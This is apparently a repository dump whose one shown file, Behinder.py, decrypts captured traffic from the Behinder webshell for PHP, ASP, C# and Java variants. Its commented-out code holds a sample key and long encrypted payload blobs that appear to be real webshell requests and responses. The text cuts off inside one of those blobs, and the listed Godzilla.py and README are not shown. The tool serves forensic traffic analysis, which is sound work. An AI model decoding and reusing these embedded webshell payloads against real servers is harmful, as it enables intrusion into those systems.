├── Behinder.py
├── Godzilla.py
└── README.md
/Behinder.py:
--------------------------------------------------------------------------------
1 | import base64
2 | import re
3 | from Crypto.Cipher import AES
4 |
5 |
6 | def XOR(K, D):
7 | result = []
8 | for i in range(len(D)):
9 | c = K[i + 1 & 15]
10 | if not isinstance(D[i], int):
11 | d = ord(D[i])
12 | else:
13 | d = D[i]
14 | result.append(d ^ ord(c))
15 | return b''.join([i.to_bytes(1, byteorder='big') for i in result])
16 |
17 |
18 | def regexphp(regexphp, destr):
19 | match = re.findall(regexphp, str(destr))
20 | try:
21 | restr = base64.b64decode(match[0].encode('utf-8'))
22 | except Exception as e:
23 | print(e)
24 | restr = base64.b64decode(match[0].encode('gb2312'))
25 | return restr
26 |
27 |
28 | class PHP:
29 | def __init__(self, key):
30 | self.key = key
31 |
32 | def decrypt_req_payload(self, payload):
33 |
34 | encrypted_text = base64.b64decode(payload)
35 | try:
36 | cipher = AES.new(key=self.key.encode(), mode=AES.MODE_CBC, iv=b'\x00' * 16)
37 | decrypted_text = cipher.decrypt(encrypted_text)
38 | except Exception as e:
39 | decrypted_text = XOR(self.key, base64.b64decode(payload))
40 | decrypted_text = regexphp(r"64_decode\('(.*)'\)", decrypted_text)
41 | return decrypted_text
42 |
43 | def decrypt_res_payload(self, payload):
44 |
45 | encrypted_text = base64.b64decode(payload)
46 | try:
47 | cipher = AES.new(key=self.key.encode(), mode=AES.MODE_CBC, iv=b'\x00' * 16)
48 | decrypted_text = cipher.decrypt(encrypted_text)
49 | except Exception as e:
50 | decrypted_text = XOR(self.key, base64.b64decode(payload))
51 | # decrypted_text = regexphp(r"64_decode\('(.*)'\)", decrypted_text)
52 | # msg = regexphp(r"\"msg\":\"(.*)\"}", decrypted_text)
53 | # status = regexphp(r"\"status\":\"(.*)\"", decrypted_text)
54 | # decrypted_text = '''"status":"{}","msg":"{}"'''.format(status.decode(),msg.decode())
55 | return decrypted_text
56 |
57 | class ASP:
58 | def __init__(self, key):
59 | self.key = key
60 |
61 | def decrypt_req_payload(self, payload):
62 | return XOR(self.key, payload)
63 |
64 | def decrypt_res_payload(self, payload):
65 | decrypted_text = XOR(self.key, payload)
66 | # msg = regexphp(r"\"msg\":\"(.*)\"}", decrypted_text)
67 | # status = regexphp(r"\"status\":\"(.*)\"", decrypted_text)
68 | # decrypted_text = '''"status":"{}","msg":"{}"'''.format(status.decode(), msg.decode())
69 | return decrypted_text
70 |
71 |
72 | class CSHARP:
73 | def __init__(self, key):
74 | self.key = key
75 |
76 | def decrypt_req_payload(self, payload):
77 | cipher = AES.new(key=self.key.encode(), mode=AES.MODE_CBC, iv=self.key.encode())
78 | decrypted_text = cipher.decrypt(payload)
79 | return decrypted_text
80 |
81 | def decrypt_res_payload(self, payload):
82 | cipher = AES.new(key=self.key.encode(), mode=AES.MODE_CBC, iv=self.key.encode())
83 | decrypted_text = cipher.decrypt(payload)
84 | return decrypted_text
85 |
86 |
87 | class JAVA:
88 | def __init__(self, key):
89 | self.key = key
90 |
91 | def decrypt_req_payload(self, payload):
92 | encrypted_text = base64.b64decode(payload)
93 | cipher = AES.new(key=self.key.encode(), mode=AES.MODE_ECB)
94 | decrypted_text = cipher.decrypt(encrypted_text)
95 | # print(decrypted_text)
96 | return decrypted_text
97 |
98 | def decrypt_res_payload(self, payload):
99 | cipher = AES.new(key=self.key.encode(), mode=AES.MODE_ECB)
100 | decrypted_text = cipher.decrypt(payload)
101 | return decrypted_text
102 |
103 | if __name__ == '__main__':
104 | # decrypter = PHP(key='e45e329feb5d925b')
105 | # data = decrypter.decrypt_req_payload(
106 | # '''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''')
107 | # print(data.decode())
108 | # res_payload = b'''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'''
109 | # data = decrypter.decrypt_res_payload(res_payload)
110 | # print(data)
111 |
112 | # ASP
113 | # decrypter = ASP(key='e45e329feb5d925b')
114 | # asp_req = base64.b64decode(b'cFwIE0FNBxEXRkhUV0YRBFNQb0BGWBIQEQhGSkdWAQBHRkc5OH8TCwFBClZcFScLV0ccQ0YRAgQWVE0zWVAbWGdQFkBbVghNQF5GEDhGCx9RCAlWXBECBBZUTTN0WhBFXQhUE2ZWRhYLTwEzV1sBF01FEWFXShMJFggBV1FHGxVAZwBAR1USQwFdFlsaVBEGHFgMVxpdBxEDGQoVAxxLRWxaFxNzSgVNL1wAEVlQG0kcXEVSXF1GVFccTwgeBEtMHT8rVkpNbCAMVhZAQkFfAFpWF0pCTTQAEUAITThwDAEUcxBdUU0PCgw/bn9HWwERXVoLE3BYFQBUASFXUVoGABxGMVZKTU9vQhVEGXZcD0VbbSh/HhkJKwpRATM4FUJFFGYARxJWPiguFVkZcUcHBEBQKlFYXAURShcpSkpYDlcacSp+dlYFEA9QCk0cBkxVFhxvExIZRjYHQURWfFoGABQIRVxqdCpLIUcBWEZQJwlRWABdRhFEBwNGAQ8GF0tvFBVFE113CQEHGwBYRlQ2HERQRQ4SGwQMDBsGWEFQVFEWP0UTEhkJKwpRARdcWgYAYEwVVlZvBwkXUEQEYUEQAFVYOmBGSw8LBWELe1tbAxdNHRZnV0ESTGgVRBkSfARFeVwBG113CQEHGxBcSkFOVBgBTA4QDlEQTRdEbVpQDG8UFUUTXXcJAQcbEFxKQV8oXVFNXHxWAgBMQQFBRhlXTD4VRRMSfAgBQnwCMxIVQkV2VBZWBAojCwFaAFwSCEI3UUUJUlFcTgosWgBcHEEHHUAZRUVQdQBJQhdGEDgVQkUUZgBHElYoCgZQRAQSewoRXFwLVDgZRkVCZgFNElo6KHgVWBN8VhIKC1sDM3dbBkVyQAtQRlAJC